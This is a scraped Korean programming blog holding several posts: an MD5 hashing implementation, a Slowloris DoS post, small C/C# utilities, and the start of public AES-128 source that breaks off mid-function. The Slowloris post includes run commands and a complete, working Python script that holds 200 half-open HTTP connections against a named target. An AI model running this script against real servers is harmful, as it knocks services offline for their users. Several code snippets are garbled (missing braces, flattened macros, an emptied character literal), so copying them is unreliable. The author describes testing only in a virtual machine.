[C++] md5 해시 만들기

lispro062014.07.20 02:09조회 수 1257댓글 0

원래 해더 파일이 분리되어있는데, include 로 안 되서 걍 붙여 넣어 버렸다.

CString md5hash;

char sseed[100];

strRes="문자열";

sprintf( sseed, "%s", strRes);

md5hash=md5((LPSTR)(LPCSTR)sseed);

특정 문자열과 조합된 char 형태를 cstring 으로 해서 넣으면 cstring 타입으로 리턴 값을 얻을 수 있다.

#ifndef md5_INCLUDED

# define md5_INCLUDED

* This package supports both compile-time and run-time determination of CPU

* byte order. If ARCH_IS_BIG_ENDIAN is defined as 0, the code will be

* compiled to run only on little-endian CPUs; if ARCH_IS_BIG_ENDIAN is

* defined as non-zero, the code will be compiled to run only on big-endian

* CPUs; if ARCH_IS_BIG_ENDIAN is not defined, the code will be compiled to

* run on either big- or little-endian CPUs, but will run slightly less

* efficiently on either one than if ARCH_IS_BIG_ENDIAN is defined.

typedef unsigned char md5_byte_t; /* 8-bit byte */

typedef unsigned int md5_word_t; /* 32-bit word */

/* Define the state of the MD5 Algorithm. */

typedef struct md5_state_s {

md5_word_t count[2]; /* message length in bits, lsw first */

md5_word_t abcd[4]; /* digest buffer */

md5_byte_t buf[64]; /* accumulate block */

} md5_state_t;

#ifdef __cplusplus

extern "C"

{

#endif

/* Initialize the algorithm. */

void md5_init(md5_state_t *pms);

/* Append a string to the message. */

void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes);

/* Finish the message and return the digest. */

void md5_finish(md5_state_t *pms, md5_byte_t digest[16]);

#ifdef __cplusplus

} /* end extern "C" */

#endif

#endif /* md5_INCLUDED */

#undef BYTE_ORDER /* 1 = big-endian, -1 = little-endian, 0 = unknown */

#ifdef ARCH_IS_BIG_ENDIAN

# define BYTE_ORDER (ARCH_IS_BIG_ENDIAN ? 1 : -1)

#else

# define BYTE_ORDER 0

#endif

#define T_MASK ((md5_word_t)~0)

#define T1 /* 0xd76aa478 */ (T_MASK ^ 0x28955b87)

#define T2 /* 0xe8c7b756 */ (T_MASK ^ 0x173848a9)

#define T3 0x242070db

#define T4 /* 0xc1bdceee */ (T_MASK ^ 0x3e423111)

#define T5 /* 0xf57c0faf */ (T_MASK ^ 0x0a83f050)

#define T6 0x4787c62a

#define T7 /* 0xa8304613 */ (T_MASK ^ 0x57cfb9ec)

#define T8 /* 0xfd469501 */ (T_MASK ^ 0x02b96afe)

#define T9 0x698098d8

#define T10 /* 0x8b44f7af */ (T_MASK ^ 0x74bb0850)

#define T11 /* 0xffff5bb1 */ (T_MASK ^ 0x0000a44e)

#define T12 /* 0x895cd7be */ (T_MASK ^ 0x76a32841)

#define T13 0x6b901122

#define T14 /* 0xfd987193 */ (T_MASK ^ 0x02678e6c)

#define T15 /* 0xa679438e */ (T_MASK ^ 0x5986bc71)

#define T16 0x49b40821

#define T17 /* 0xf61e2562 */ (T_MASK ^ 0x09e1da9d)

#define T18 /* 0xc040b340 */ (T_MASK ^ 0x3fbf4cbf)

#define T19 0x265e5a51

#define T20 /* 0xe9b6c7aa */ (T_MASK ^ 0x16493855)

#define T21 /* 0xd62f105d */ (T_MASK ^ 0x29d0efa2)

#define T22 0x02441453

#define T23 /* 0xd8a1e681 */ (T_MASK ^ 0x275e197e)

#define T24 /* 0xe7d3fbc8 */ (T_MASK ^ 0x182c0437)

#define T25 0x21e1cde6

#define T26 /* 0xc33707d6 */ (T_MASK ^ 0x3cc8f829)

#define T27 /* 0xf4d50d87 */ (T_MASK ^ 0x0b2af278)

#define T28 0x455a14ed

#define T29 /* 0xa9e3e905 */ (T_MASK ^ 0x561c16fa)

#define T30 /* 0xfcefa3f8 */ (T_MASK ^ 0x03105c07)

#define T31 0x676f02d9

#define T32 /* 0x8d2a4c8a */ (T_MASK ^ 0x72d5b375)

#define T33 /* 0xfffa3942 */ (T_MASK ^ 0x0005c6bd)

#define T34 /* 0x8771f681 */ (T_MASK ^ 0x788e097e)

#define T35 0x6d9d6122

#define T36 /* 0xfde5380c */ (T_MASK ^ 0x021ac7f3)

#define T37 /* 0xa4beea44 */ (T_MASK ^ 0x5b4115bb)

#define T38 0x4bdecfa9

#define T39 /* 0xf6bb4b60 */ (T_MASK ^ 0x0944b49f)

#define T40 /* 0xbebfbc70 */ (T_MASK ^ 0x4140438f)

#define T41 0x289b7ec6

#define T42 /* 0xeaa127fa */ (T_MASK ^ 0x155ed805)

#define T43 /* 0xd4ef3085 */ (T_MASK ^ 0x2b10cf7a)

#define T44 0x04881d05

#define T45 /* 0xd9d4d039 */ (T_MASK ^ 0x262b2fc6)

#define T46 /* 0xe6db99e5 */ (T_MASK ^ 0x1924661a)

#define T47 0x1fa27cf8

#define T48 /* 0xc4ac5665 */ (T_MASK ^ 0x3b53a99a)

#define T49 /* 0xf4292244 */ (T_MASK ^ 0x0bd6ddbb)

#define T50 0x432aff97

#define T51 /* 0xab9423a7 */ (T_MASK ^ 0x546bdc58)

#define T52 /* 0xfc93a039 */ (T_MASK ^ 0x036c5fc6)

#define T53 0x655b59c3

#define T54 /* 0x8f0ccc92 */ (T_MASK ^ 0x70f3336d)

#define T55 /* 0xffeff47d */ (T_MASK ^ 0x00100b82)

#define T56 /* 0x85845dd1 */ (T_MASK ^ 0x7a7ba22e)

#define T57 0x6fa87e4f

#define T58 /* 0xfe2ce6e0 */ (T_MASK ^ 0x01d3191f)

#define T59 /* 0xa3014314 */ (T_MASK ^ 0x5cfebceb)

#define T60 0x4e0811a1

#define T61 /* 0xf7537e82 */ (T_MASK ^ 0x08ac817d)

#define T62 /* 0xbd3af235 */ (T_MASK ^ 0x42c50dca)

#define T63 0x2ad7d2bb

#define T64 /* 0xeb86d391 */ (T_MASK ^ 0x14792c6e)

static void md5_process(md5_state_t *pms, const md5_byte_t *data /*[64]*/){

md5_word_t

a = pms->abcd[0], b = pms->abcd[1],

c = pms->abcd[2], d = pms->abcd[3];

md5_word_t t;

#if BYTE_ORDER > 0

/* Define storage only for big-endian CPUs. */

md5_word_t X[16];

#else

/* Define storage for little-endian or both types of CPUs. */

md5_word_t xbuf[16];

const md5_word_t *X;

#endif

{

#if BYTE_ORDER == 0

* Determine dynamically whether this is a big-endian or

* little-endian machine, since we can use a more efficient

* algorithm on the latter.

static const int w = 1;

if (*((const md5_byte_t *)&w)) /* dynamic little-endian */

#endif

#if BYTE_ORDER <= 0 /* little-endian */

{

* On little-endian machines, we can process properly aligned

* data without copying it.

if (!((data - (const md5_byte_t *)0) & 3)) {

/* data are properly aligned */

X = (const md5_word_t *)data;

} else {

/* not aligned */

memcpy(xbuf, data, 64);

X = xbuf;

}

#endif

#if BYTE_ORDER == 0

else /* dynamic big-endian */

#endif

#if BYTE_ORDER >= 0 /* big-endian */

{

* On big-endian machines, we must arrange the bytes in the

* right order.

const md5_byte_t *xp = data;

int i;

# if BYTE_ORDER == 0

X = xbuf; /* (dynamic only) */

# else

# define xbuf X /* (static only) */

# endif

for (i = 0; i < 16; ++i, xp += 4)

xbuf[i] = xp[0] + (xp[1] << 8) + (xp[2] << 16) + (xp[3] << 24);

}

#endif

}

#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32 - (n))))

/* Round 1. */

/* Let [abcd k s i] denote the operation

a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */

#define F(x, y, z) (((x) & (y)) | (~(x) & (z)))

#define SET(a, b, c, d, k, s, Ti)

t = a + F(b,c,d) + X[k] + Ti;

a = ROTATE_LEFT(t, s) + b

/* Do the following 16 operations. */

SET(a, b, c, d, 0, 7, T1);

SET(d, a, b, c, 1, 12, T2);

SET(c, d, a, b, 2, 17, T3);

SET(b, c, d, a, 3, 22, T4);

SET(a, b, c, d, 4, 7, T5);

SET(d, a, b, c, 5, 12, T6);

SET(c, d, a, b, 6, 17, T7);

SET(b, c, d, a, 7, 22, T8);

SET(a, b, c, d, 8, 7, T9);

SET(d, a, b, c, 9, 12, T10);

SET(c, d, a, b, 10, 17, T11);

SET(b, c, d, a, 11, 22, T12);

SET(a, b, c, d, 12, 7, T13);

SET(d, a, b, c, 13, 12, T14);

SET(c, d, a, b, 14, 17, T15);

SET(b, c, d, a, 15, 22, T16);

#undef SET

/* Round 2. */

/* Let [abcd k s i] denote the operation

a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */

#define G(x, y, z) (((x) & (z)) | ((y) & ~(z)))

#define SET(a, b, c, d, k, s, Ti)

t = a + G(b,c,d) + X[k] + Ti;

a = ROTATE_LEFT(t, s) + b

/* Do the following 16 operations. */

SET(a, b, c, d, 1, 5, T17);

SET(d, a, b, c, 6, 9, T18);

SET(c, d, a, b, 11, 14, T19);

SET(b, c, d, a, 0, 20, T20);

SET(a, b, c, d, 5, 5, T21);

SET(d, a, b, c, 10, 9, T22);

SET(c, d, a, b, 15, 14, T23);

SET(b, c, d, a, 4, 20, T24);

SET(a, b, c, d, 9, 5, T25);

SET(d, a, b, c, 14, 9, T26);

SET(c, d, a, b, 3, 14, T27);

SET(b, c, d, a, 8, 20, T28);

SET(a, b, c, d, 13, 5, T29);

SET(d, a, b, c, 2, 9, T30);

SET(c, d, a, b, 7, 14, T31);

SET(b, c, d, a, 12, 20, T32);

#undef SET

/* Round 3. */

/* Let [abcd k s t] denote the operation

a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */

#define H(x, y, z) ((x) ^ (y) ^ (z))

#define SET(a, b, c, d, k, s, Ti)

t = a + H(b,c,d) + X[k] + Ti;

a = ROTATE_LEFT(t, s) + b

/* Do the following 16 operations. */

SET(a, b, c, d, 5, 4, T33);

SET(d, a, b, c, 8, 11, T34);

SET(c, d, a, b, 11, 16, T35);

SET(b, c, d, a, 14, 23, T36);

SET(a, b, c, d, 1, 4, T37);

SET(d, a, b, c, 4, 11, T38);

SET(c, d, a, b, 7, 16, T39);

SET(b, c, d, a, 10, 23, T40);

SET(a, b, c, d, 13, 4, T41);

SET(d, a, b, c, 0, 11, T42);

SET(c, d, a, b, 3, 16, T43);

SET(b, c, d, a, 6, 23, T44);

SET(a, b, c, d, 9, 4, T45);

SET(d, a, b, c, 12, 11, T46);

SET(c, d, a, b, 15, 16, T47);

SET(b, c, d, a, 2, 23, T48);

#undef SET

/* Round 4. */

/* Let [abcd k s t] denote the operation

a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */

#define I(x, y, z) ((y) ^ ((x) | ~(z)))

#define SET(a, b, c, d, k, s, Ti)

t = a + I(b,c,d) + X[k] + Ti;

a = ROTATE_LEFT(t, s) + b

/* Do the following 16 operations. */

SET(a, b, c, d, 0, 6, T49);

SET(d, a, b, c, 7, 10, T50);

SET(c, d, a, b, 14, 15, T51);

SET(b, c, d, a, 5, 21, T52);

SET(a, b, c, d, 12, 6, T53);

SET(d, a, b, c, 3, 10, T54);

SET(c, d, a, b, 10, 15, T55);

SET(b, c, d, a, 1, 21, T56);

SET(a, b, c, d, 8, 6, T57);

SET(d, a, b, c, 15, 10, T58);

SET(c, d, a, b, 6, 15, T59);

SET(b, c, d, a, 13, 21, T60);

SET(a, b, c, d, 4, 6, T61);

SET(d, a, b, c, 11, 10, T62);

SET(c, d, a, b, 2, 15, T63);

SET(b, c, d, a, 9, 21, T64);

#undef SET

/* Then perform the following additions. (That is increment each

of the four registers by the value it had before this block

was started.) */

pms->abcd[0] += a;

pms->abcd[1] += b;

pms->abcd[2] += c;

pms->abcd[3] += d;

}

void md5_init(md5_state_t *pms)

{

pms->count[0] = pms->count[1] = 0;

pms->abcd[0] = 0x67452301;

pms->abcd[1] = /*0xefcdab89*/ T_MASK ^ 0x10325476;

pms->abcd[2] = /*0x98badcfe*/ T_MASK ^ 0x67452301;

pms->abcd[3] = 0x10325476;

}

void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes){

const md5_byte_t *p = data;

int left = nbytes;

int offset = (pms->count[0] >> 3) & 63;

md5_word_t nbits = (md5_word_t)(nbytes << 3);

if (nbytes <= 0)

return;

/* Update the message length. */

pms->count[1] += nbytes >> 29;

pms->count[0] += nbits;

if (pms->count[0] < nbits)

pms->count[1]++;

/* Process an initial partial block. */

if (offset) {

int copy = (offset + nbytes > 64 ? 64 - offset : nbytes);

memcpy(pms->buf + offset, p, copy);

if (offset + copy < 64)

return;

p += copy;

left -= copy;

md5_process(pms, pms->buf);

}

/* Process full blocks. */

for (; left >= 64; p += 64, left -= 64)

md5_process(pms, p);

/* Process a final partial block. */

if (left)

memcpy(pms->buf, p, left);

}

void md5_finish(md5_state_t *pms, md5_byte_t digest[16]){

static const md5_byte_t pad[64] = {

0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

};

md5_byte_t data[8];

int i;

/* Save the length before padding. */

for (i = 0; i < 8; ++i)

data[i] = (md5_byte_t)(pms->count[i >> 2] >> ((i & 3) << 3));

/* Pad to 56 bytes mod 64. */

md5_append(pms, pad, ((55 - (pms->count[0] >> 3)) & 63) + 1);

/* Append the length. */

md5_append(pms, data, 8);

for (i = 0; i < 16; ++i)

digest[i] = (md5_byte_t)(pms->abcd[i >> 2] >> ((i & 3) << 3));

}

CString md5(const CString strMd5)

{

md5_state_t state;

md5_byte_t digest[16];

char hex_output[16*2 + 1];

int di;

md5_init(&state);

md5_append(&state, (const md5_byte_t *)(LPSTR)(LPCSTR)strMd5, strMd5.GetLength());

md5_finish(&state, digest);

for (di = 0; di < 16; ++di)

sprintf(hex_output + di * 2, "%02x", digest[di]);

return hex_output;

}

lispro06 (비회원)

[C++] Base64 encoding (by lispro06) [C#] dll 변조 (by lispro06)

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[Perl] RUDY, Slowloris 공격

[원문보기]

http://advent.perl.kr/2012/2012-12-17.html

DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.

해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.

$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More

참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.

cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)

# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]

을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.

와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.

웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.

실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.

서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.

[python]

import socket, random, time, sys

headers = [

"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",

"Accept-language: en-US,en"

]

sockets = []

def setupSocket(ip):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(4)

sock.connect((ip, 80))

sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

for header in headers:

sock.send("{}\r\n".format(header).encode("utf-8"))

return sock

if __name__ == "__main__":

if len(sys.argv) != 2:

print("Use it like this: python {} example.com".format(sys.argv[0]))

sys.exit()

ip = sys.argv[1]

count = 200

print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

for _ in range(count):

try:

print("Socket {}".format(_))

sock = setupSocket(ip)

except socket.error:

break

sockets.append(sock)

while True:

print("Connected to {} sockets. Sending headers...".format(len(sockets)))

for sock in list(sockets):

try:

sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))

except socket.error:

sockets.remove(sock)

for _ in range(count - len(sockets)):

print("Re-opening closed sockets...")

try:

sock = setupSocket(ip)

if sock:

sockets.append(sock)

except socket.error:

break

time.sleep(15)

[C#] 파일명 바꾸는 프로그램

[원문보기]

경로명을 참조하여 파일명을 바꾸는 프로그램이다.

private static string Rename(string filePath, string oldFile, string newFile)

{

newFile = filePath + "\" + newFile;

System.IO.File.Move(oldFile, newFile);

return "";

}

rename 함수는 인터넷에서 참조했고, 디렉터리를 리커시브하게 탐색하는 코드는 msdn에서 봤다.

c:에서 확장자를 지정하거나 파일명을 지정해 하위 폴더의 파일명을 바꾼다. 같은 레벨의 파일은 바뀌지 않는다.

한번 바뀐 파일은 no file 이란 출력을 하도록 개선했다.

[C] epochtime double 형, sprintf

[원문보기]

char tseed[100];

CString csID;

time_t timer;

struct tm y2k;

double seconds;

y2k.tm_hour = 0; y2k.tm_min = 0; y2k.tm_sec = 0;

y2k.tm_year = 70; y2k.tm_mon = 1; y2k.tm_mday = 1;

time(&timer); /* get current time; same as: timer = time(NULL) */

seconds = difftime(timer,mktime(&y2k));

sprintf( tseed, "%s%.f", csID, seconds );

csID라는 CString 형과 epoch time(unixtime)을 tseed라는 char형에 넣으려고 1970년 1월 1일 기준을 difftime으로 구해 넣었다.

time(&timer)로 나오는 값은 long형인데, 활용이 잘 되지 않아, 이렇게 되었다.

비효율적이지만, 어쩔 수 없다.

[C] asc2hex

[원문보기]

아래 소스를 실행하면 결과는

16개의 문자에 대해 hex로 출력해 준다. 입력이 16보다 작으면 00(NULL)로 패딩한다.

넘으면 무시할 거닷.ㅎㅎ

암튼 암호화된 aes hex값을 복호화 하려 했으나, C에서는 인자를 char로 받아 도저히 한번에 처리가 안되었다.

그래서 어쩔 수 없이,

#!/bin/sh

./Sample 128 << myscript

$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16

myscript

쉘스크립트로 입력을 받아 복호화된 값을 출력하도록 했다.

# ./test.sh 8b a0 d4 c6 06 72 d6 e2 56 b4 59 28 1c 0d 32 2f

69 64 70 77 74 65 73 74 00 00 00 00 00 00 00 00

결과값은 어차피 php에 받아서 처리할 것이므로 머리 아프게 c에서 하지 말자.

#include<stdio.h>

#include <string.h>

#include <stdlib.h>

char hexDigit(unsigned n)

{

if (n < 10) {

return n + '0';

} else {

return (n - 10) + 'A';

}

void charToHex(char c, unsigned char hex[3])

{

hex[0] = hexDigit(c / 0x10);

hex[1] = hexDigit(c % 0x10);

hex[2] = '';

}

int main(int arg, char* argv[])

{

int j,o;

unsigned char k[3];

char *l=argv[1];

j=strlen(l);

for(o=0;o<j;o++){

charToHex(*(l+o),k);

printf("%s ", k);

}

for(o=j;o<16;o++){

printf("%s ", "00");

}

[C++] AES-128 활용 원격 로그인 구현

[원문보기]

계획은 이렇다.

받은 ID, PW를 asc2hex로 변환한다.

C/S 프로그램에서 AES 128로 암호화한 ID, PW를 base64로 인코딩해 보낸다.

이 때, 동적 키 값의 일부를 같이 보낸다.(얼마나 보낼지가....)

서버에서 base64 디코딩한 id, pw를 파싱해 복호화한 값을 php에서 처리해 인증한다.

인증에 문제가 없으면, 동적 키값과 다른 정보를 조합한 md5값을 보낸다.

클라이언트에서는 역시 동적 키 값과 다른 정보가 조합된 md5값을 비교한다.

http://comp.ist.utl.pt/ec-csc/Code/Ciphers/

******************************************************************

** Advanced Encryption Standard implementation in C. **

** By Niyaz PK **

** E-mail: niyazlife@gmail.com **

** Downloaded from Website: www.hoozi.com **

******************************************************************

This is the source code for encryption using the latest AES algorithm.

AES algorithm is also called Rijndael algorithm. AES algorithm is

recommended for non-classified by the National Institute of Standards

and Technology(NIST), USA. Now-a-days AES is being used for almost

all encryption applications all around the world.

THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT

IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL

TO UNDERSTAND THE AES ALGORITHM.

Comments are provided as needed to understand the program. But the

user must read some AES documentation to understand the underlying

theory correctly.

It is not possible to describe the complete AES algorithm in detail

here. For the complete description of the algorithm, point your

browser to:

http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf

Find the Wikipedia page of AES at:

http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

******************************************************************

// Include stdio.h for standard input/output.

// Used for giving output to the screen.

#include<stdio.h>

#include<iostream>

#include<fstream>

#include<stdlib.h>

// The number of columns comprising a state in AES. This is a constant in AES. Value=4

#define Nb 4

// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.

int Nr=0;

// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.

int Nk=0;

// in - it is the array that holds the plain text to be encrypted.

// out - it is the array that holds the key for encryption.

// state - the array that holds the intermediate results during encryption.

unsigned char in[16], out[16], state[4][4];

// The array that stores the round keys.

unsigned char RoundKey[240];

// The Key input to the AES Program

unsigned char Key[32];

int getSBoxValue(int num)

{

int sbox[256] = {

//0 1 2 3 4 5 6 7 8 9 A B C D E F

0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, //0

0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, //1

0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, //2

0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, //3

0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, //4

0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, //5

0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, //6

0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, //7

0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, //8

0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, //9

0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, //A

0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, //B

0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, //C

0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, //D

0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, //E

0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; //F

return sbox[num];

}

// The round constant word array, Rcon[i], contains the values given by

// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(28)

// Note that i starts at 1, not 0).

int Rcon[255] = {

0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,

0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,

0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,

0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,

0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,

0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,

0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,

0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,

0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,

0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,

0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,

0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,

0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,

0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,

0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,

0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb };

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to encrypt the states.

void KeyExpansion()

{

int i,j;

unsigned char temp[4],k;

// The first round key is the key itself.

for(i=0;i<Nk;i++)

{

RoundKey[i*4]=Key[i*4];

RoundKey[i*4+1]=Key[i*4+1];

RoundKey[i*4+2]=Key[i*4+2];

RoundKey[i*4+3]=Key[i*4+3];

}

// All other round keys are found from the previous round keys.

while (i < (Nb * (Nr+1)))

{

for(j=0;j<4;j++)

{

temp[j]=RoundKey[(i-1) * 4 + j];

}

if (i % Nk == 0)

{

// This function rotates the 4 bytes in a word to the left once.

// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

// Function RotWord()

{

k = temp[0];

temp[0] = temp[1];

temp[1] = temp[2];

temp[2] = temp[3];

temp[3] = k;

}

// SubWord() is a function that takes a four-byte input word and

// applies the S-box to each of the four bytes to produce an output word.

// Function Subword()

{

temp[0]=getSBoxValue(temp[0]);

temp[1]=getSBoxValue(temp[1]);

temp[2]=getSBoxValue(temp[2]);

temp[3]=getSBoxValue(temp[3]);

}

temp[0] = temp[0] ^ Rcon[i/Nk];

}

else if (Nk > 6 && i % Nk == 4)

{

// Function Subword()

{

temp[0]=getSBoxValue(temp[0]);

temp[1]=getSBoxValue(temp[1]);

temp[2]=getSBoxValue(temp[2]);

temp[3]=getSBoxValue(temp[3]);

}

RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];

RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];

RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];

RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];

i++;

}

// This function adds the round key to state.

// The round key is added to the state by an XOR function.

void AddRoundKey(int round)

{

int i,j;

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];

}

// The SubBytes Function Substitutes the values in the

// state matrix with values in an S-box.

void SubBytes()

{

int i,j;

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[i][j] = getSBoxValue(state[i][j]);

}

// The ShiftRows() function shifts the rows in the state to the left.

// Each row is shifted with different offset.

// Offset = Row number. So the first row is not shifted.

void ShiftRows()

{

unsigned char temp;

// Rotate first row 1 columns to left

temp=state[1][0];

state[1][0]=state[1][1];

state[1][1]=state[1][2];

state[1][2]=state[1][3];

state[1][3]=temp;

// Rotate second row 2 columns to left

temp=state[2][0];

state[2][0]=state[2][2];

state[2][2]=temp;

temp=state[2][1];

state[2][1]=state[2][3];

state[2][3]=temp;

// Rotate third row 3 columns to left

temp=state[3][0];

state[3][0]=state[3][3];

state[3][3]=state[3][2];

state[3][2]=state[3][1];

state[3][1]=temp;

}

// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}

#define xtime(x) ((x<<1) ^ (((x>>7) & 1) * 0x1b))

// MixColumns function mixes the columns of the state matrix

void MixColumns()

{

int i;

